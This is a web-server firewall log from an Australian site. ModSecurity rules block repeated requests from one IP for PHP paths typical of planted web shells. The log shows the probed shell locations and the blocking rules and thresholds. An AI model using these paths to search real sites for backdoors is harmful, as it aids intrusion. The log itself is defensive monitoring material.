[Sat Feb 28 11:38:56.225977 2026] [:error] [pid 39183:tid 39216] [client 20.104.82.189:6371] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaJjUBCf4HvhVePw3LbZvQAAABg"]
[Sat Feb 28 11:38:56.665808 2026] [:error] [pid 22194:tid 22206] [client 20.104.82.189:6399] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaJjUH6mbajs3bzQGysnVQAAAUo"]
[Sat Feb 28 11:38:57.109097 2026] [:error] [pid 39185:tid 39268] [client 20.104.82.189:6448] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaJjURVE-FfM89u7BQZ8DAAAAJY"]
[Sat Feb 28 11:38:57.532299 2026] [:error] [pid 52460:tid 52480] [client 20.104.82.189:6426] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaJjUbLWOogAgHGh62TecQAAAZE"]
[Sat Feb 28 11:38:57.959741 2026] [:error] [pid 39292:tid 39295] [client 20.104.82.189:6419] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaJjUaIAO5fN7BxyqcGzGAAAAME"]
[Sat Feb 28 11:38:58.383031 2026] [:error] [pid 39292:tid 39318] [client 20.104.82.189:6388] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaJjUqIAO5fN7BxyqcGzHQAAANg"]
[Sat Feb 28 11:38:58.806791 2026] [:error] [pid 52460:tid 52475] [client 20.104.82.189:6396] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaJjUrLWOogAgHGh62TecwAAAYw"]
[Sat Feb 28 11:38:59.226767 2026] [:error] [pid 39292:tid 39302] [client 20.104.82.189:6320] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaJjU6IAO5fN7BxyqcGzIwAAAMg"]
[Sat Feb 28 11:38:59.642332 2026] [:error] [pid 39292:tid 39310] [client 20.104.82.189:6438] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aaJjU6IAO5fN7BxyqcGzJQAAANA"]
[Sat Feb 28 11:39:00.054024 2026] [:error] [pid 52460:tid 52464] [client 20.104.82.189:6338] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aaJjVLLWOogAgHGh62TedwAAAYE"]
[Sat Feb 28 11:39:00.469553 2026] [:error] [pid 39292:tid 39314] [client 20.104.82.189:6366] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aaJjVKIAO5fN7BxyqcGzKAAAANQ"]
[Sat Feb 28 11:39:00.900953 2026] [:error] [pid 52460:tid 52472] [client 20.104.82.189:6333] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aaJjVLLWOogAgHGh62TefQAAAYk"]
[Sat Feb 28 11:39:01.317264 2026] [:error] [pid 39185:tid 39267] [client 20.104.82.189:6378] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaJjVRVE-FfM89u7BQZ8GAAAAJU"]
[Sat Feb 28 11:39:01.733124 2026] [:error] [pid 52460:tid 52476] [client 20.104.82.189:6379] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaJjVbLWOogAgHGh62TehgAAAY0"]
[Sat Feb 28 11:39:02.147556 2026] [:error] [pid 22194:tid 22209] [client 20.104.82.189:6320] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaJjVn6mbajs3bzQGysnVwAAAU0"]
[Sat Feb 28 11:39:02.562556 2026] [:error] [pid 39184:tid 39227] [client 20.104.82.189:6364] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaJjVltZF9Zd_U7easDHZQAAAEg"]
[Sat Feb 28 11:39:02.987334 2026] [:error] [pid 39184:tid 39229] [client 20.104.82.189:6482] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaJjVltZF9Zd_U7easDHZgAAAEo"]
[Sat Feb 28 11:39:03.399212 2026] [:error] [pid 39184:tid 39242] [client 20.104.82.189:6531] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaJjV1tZF9Zd_U7easDHaAAAAFc"]
[Sat Feb 28 11:39:03.827770 2026] [:error] [pid 52460:tid 52473] [client 20.104.82.189:6442] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaJjV7LWOogAgHGh62TekQAAAYo"]
[Sat Feb 28 11:39:04.249159 2026] [:error] [pid 52460:tid 52475] [client 20.104.82.189:6336] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaJjWLLWOogAgHGh62TelAAAAYw"]
[Sat Feb 28 11:39:04.671884 2026] [:error] [pid 39185:tid 39263] [client 20.104.82.189:6501] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaJjWBVE-FfM89u7BQZ8JQAAAJE"]
[Sat Feb 28 11:39:05.164269 2026] [:error] [pid 39185:tid 39264] [client 20.104.82.189:6404] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaJjWRVE-FfM89u7BQZ8KgAAAJI"]
[Sat Feb 28 11:39:05.575254 2026] [:error] [pid 22194:tid 22200] [client 20.104.82.189:6390] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaJjWX6mbajs3bzQGysnWQAAAUQ"]
[Sat Feb 28 11:39:06.025193 2026] [:error] [pid 52460:tid 52464] [client 20.104.82.189:6306] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaJjWrLWOogAgHGh62TelwAAAYE"]
[Sat Feb 28 11:39:06.440572 2026] [:error] [pid 39183:tid 39212] [client 20.104.82.189:6348] [client 20.104.82.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaJjWhCf4HvhVePw3LbZxQAAABQ"]
[Sat Feb 28 11:39:06.851642 2026] [:error] [pid 52460:tid 52477] [client 20.104.82.189:6401] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaJjWrLWOogAgHGh62TenAAAAY4"]
[Sat Feb 28 11:39:07.265801 2026] [:error] [pid 52460:tid 52476] [client 20.104.82.189:6358] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaJjW7LWOogAgHGh62TenwAAAY0"]
[Sat Feb 28 11:39:07.682744 2026] [:error] [pid 52460:tid 52464] [client 20.104.82.189:6450] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaJjW7LWOogAgHGh62TepAAAAYE"]
[Sat Feb 28 11:39:08.102345 2026] [:error] [pid 11791:tid 11798] [client 20.104.82.189:6385] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaJjXGuX5e1Q32gqxH3tnQAAAQU"]
[Sat Feb 28 11:39:08.517575 2026] [:error] [pid 52460:tid 52473] [client 20.104.82.189:6154] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaJjXLLWOogAgHGh62TergAAAYo"]
[Sat Feb 28 11:39:08.944699 2026] [:error] [pid 52460:tid 52463] [client 20.104.82.189:6377] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaJjXLLWOogAgHGh62TesQAAAYA"]
[Sat Feb 28 11:39:09.373183 2026] [:error] [pid 22194:tid 22207] [client 20.104.82.189:6410] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaJjXX6mbajs3bzQGysnWgAAAUs"]
[Sat Feb 28 11:39:09.799840 2026] [:error] [pid 39185:tid 39248] [client 20.104.82.189:6420] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaJjXRVE-FfM89u7BQZ8PAAAAII"]
[Sat Feb 28 11:39:10.217944 2026] [:error] [pid 39292:tid 39306] [client 20.104.82.189:6468] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaJjXqIAO5fN7BxyqcGzOgAAAMw"]
[Sat Feb 28 11:39:10.634567 2026] [:error] [pid 39185:tid 39252] [client 20.104.82.189:6372] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaJjXhVE-FfM89u7BQZ8PwAAAIY"]
[Sat Feb 28 11:39:11.055101 2026] [:error] [pid 11791:tid 11802] [client 20.104.82.189:6386] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaJjX2uX5e1Q32gqxH3trQAAAQk"]
[Sat Feb 28 11:39:11.473098 2026] [:error] [pid 22194:tid 22205] [client 20.104.82.189:6467] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaJjX36mbajs3bzQGysnXgAAAUk"]
[Sat Feb 28 11:39:11.900790 2026] [:error] [pid 11791:tid 11794] [client 20.104.82.189:6443] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaJjX2uX5e1Q32gqxH3tsAAAAQE"]
[Sat Feb 28 11:39:12.312086 2026] [:error] [pid 52460:tid 52482] [client 20.104.82.189:6332] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaJjYLLWOogAgHGh62TevQAAAZM"]
[Sat Feb 28 11:39:12.748321 2026] [:error] [pid 52460:tid 52467] [client 20.104.82.189:6355] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaJjYLLWOogAgHGh62TewgAAAYQ"]
[Sat Feb 28 11:39:13.174199 2026] [:error] [pid 39185:tid 39260] [client 20.104.82.189:6267] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaJjYRVE-FfM89u7BQZ8SgAAAI4"]
[Sat Feb 28 11:39:13.593020 2026] [:error] [pid 11791:tid 11806] [client 20.104.82.189:6418] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaJjYWuX5e1Q32gqxH3tswAAAQ0"]
[Sat Feb 28 11:39:14.018563 2026] [:error] [pid 22194:tid 22197] [client 20.104.82.189:6457] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaJjYn6mbajs3bzQGysnYQAAAUE"]
[Sat Feb 28 11:39:14.449689 2026] [:error] [pid 11791:tid 11795] [client 20.104.82.189:6519] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaJjYmuX5e1Q32gqxH3ttgAAAQI"]
[Sat Feb 28 11:39:14.876862 2026] [:error] [pid 52460:tid 52470] [client 20.104.82.189:6499] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaJjYrLWOogAgHGh62TezgAAAYc"]
[Sat Feb 28 11:39:15.289149 2026] [:error] [pid 52460:tid 52475] [client 20.104.82.189:6416] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaJjY7LWOogAgHGh62Te0QAAAYw"]
[Sat Feb 28 11:39:15.722355 2026] [:error] [pid 52460:tid 52484] [client 20.104.82.189:6474] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaJjY7LWOogAgHGh62Te1QAAAZU"]
[Sat Feb 28 11:39:30.869535 2026] [:error] [pid 52460:tid 52463] [client 20.104.82.189:6357] [client 20.104.82.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaJjcrLWOogAgHGh62TfNAAAAYA"]
[Sat Feb 28 11:39:31.283171 2026] [:error] [pid 39292:tid 39295] [client 20.104.82.189:6361] [client 20.104.82.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aaJjc6IAO5fN7BxyqcGzTAAAAME"]
[Sat Feb 28 11:40:06.598506 2026] [:error] [pid 39185:tid 39249] [client 20.104.82.189:6307] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aaJjlhVE-FfM89u7BQZ84gAAAIM"]
[Sat Feb 28 11:40:07.017792 2026] [:error] [pid 52460:tid 52482] [client 20.104.82.189:6441] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aaJjl7LWOogAgHGh62TgHQAAAZM"]
[Sat Feb 28 11:40:07.430474 2026] [:error] [pid 39185:tid 39270] [client 20.104.82.189:6311] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aaJjlxVE-FfM89u7BQZ85AAAAJg"]
[Sat Feb 28 11:40:07.839113 2026] [:error] [pid 39185:tid 39248] [client 20.104.82.189:6427] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aaJjlxVE-FfM89u7BQZ85QAAAII"]
[Sat Feb 28 11:40:08.248017 2026] [:error] [pid 39185:tid 39255] [client 20.104.82.189:6471] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aaJjmBVE-FfM89u7BQZ86QAAAIk"]
[Sat Feb 28 11:40:08.664885 2026] [:error] [pid 39185:tid 39246] [client 20.104.82.189:6524] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aaJjmBVE-FfM89u7BQZ87AAAAIA"]
